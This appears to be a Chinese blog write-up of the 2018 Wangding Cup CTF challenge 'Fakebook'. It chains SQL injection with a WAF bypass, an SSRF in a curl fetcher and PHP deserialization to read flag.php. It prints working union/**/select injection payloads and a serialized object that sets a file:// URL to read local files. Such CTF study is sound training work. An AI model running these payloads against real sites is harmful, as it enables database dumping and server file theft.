[网鼎杯 2018]Fakebook(思路详细有说明)

最新推荐文章于 2024-04-24 17:24:28 发布

layz_y

最新推荐文章于 2024-04-24 17:24:28 发布

阅读量695

点赞数 2

分类专栏： CTF-web 文章标签： php sql web安全

本文链接：https://blog.csdn.net/weixin_73560599/article/details/132030577

版权

CTF-web 专栏收录该内容

11 篇文章 0 订阅

订阅专栏

文章详细描述了一次CTF比赛中遇到的综合安全问题，包括利用SQL注入绕过WAF，发现并利用SSRF漏洞，以及通过反序列化获取flag的过程。通过注册页面的SQL注入，发现纯数字型注入并绕过过滤，然后利用SSRF读取服务器内部资源，最终通过反序列化构造payload，成功读取到flag。

摘要由CSDN通过智能技术生成

这里说一下这题较为综合涉及了SQL注入以及SSRF和反序列化这三个点不了解的伙伴们需要去自己学习一下相应的知识点对了还有工具的使用。ctf中扫目录的脚本

SQL注入

打开网址只显示了一个注册和登录按钮别的没了

我们这里注册一下需要注意的是 blog这个点很重要刚开始直接输入了123 提示无效不合法这里就测试了一下百度就不报错了猜测服务端那边做了过滤验证吧

点击用户名进入后一顿尝试发现页面源代码有ssrf 的点（多看页面源代码说不定有信息）

查看页面源代码发现存在如下点单击后发现为百度的前端

单击后的效果

这里就知道了这里存在SSRF 扒取了百度的前端 (这个点我们后面会用到)

那么我们就可以利用这点来进行读取服务端的flag 尝试file协议试试看

重新回到注册页面在blog处进行file协议的注册发现提示无效这里就没有什么办法了看来服务端做了过滤不能使用file协议(至少在注册这个页面下)

回到我们用户名的页面再看看有什么信息提示

发现url存在参数传参这里试下注入

发现存在注入是纯数字型注入这里就不演示过程了但是注意这里有过滤当服务端匹配到 union select 就会回显 no hacker

猜测服务端做了校验 union select 两个联合出现时就会回显 no hacker 这里我们使用内联注释符绕过也即是/**/ (这里需要大家自己去试了 fuzz就行)SQL注入绕waf嘛就这样一次次试就好

exp给到大家

-2 union/**/select 1,database(),3,4-- -

-2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -

-2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'-- -

注意当爆到列时就有信息提示了页面如下

像no,username,passwd这种我们其实不用爆了就是我们注册的没有必要

而这些USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS是数据库中的别的字段可能并不是这个数据库的只是这些字段上面是users表

这里我们可以加一个判断条件只要我们当前网页所在的数据库

-2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'-- - 是我们加的判断条件

这里注入后就回显了当前数据库的信息了

根据上面的所述这里我们爆data字段

爆出来的是一个序列化的字符串 (这里我注册了两个用户所以有两)

至此我们需要去找反序列化的点了试了一顿操作无果

反序列化以及脚本使用

看看有没有什么目录使用脚本跑一跑看看(这里建议网站拿到没思路时都可以尝试扫目录信息收集嘛) 脚本链接如下

https://github.com/kingkaki/ctf-wscan

扫描结果如下

这里429是靶场的原因正常的ctf比赛不会这样

访问扫到的bak文件 tion我也不知道什么原因在后缀里知道的伙伴们可以评论区留言

访问后下载了一个代码进行代码审计

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

果不其然 blog做了过滤其中也有SSRF明显的代码

这里我们就使用反序列化了反序列化的知识点大家自行了解

下面就贴一下基础的反序列化的知识点

大家自行了解这只是基础概念

我们进行构造反序列化代码代码如下

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);

解释一下为什么flag在这个目录下因为我们在注入的时候网页就已经给你提示了当前的目录在哪里当然也可以尝试在根目录下进行读取这个大家自己尝试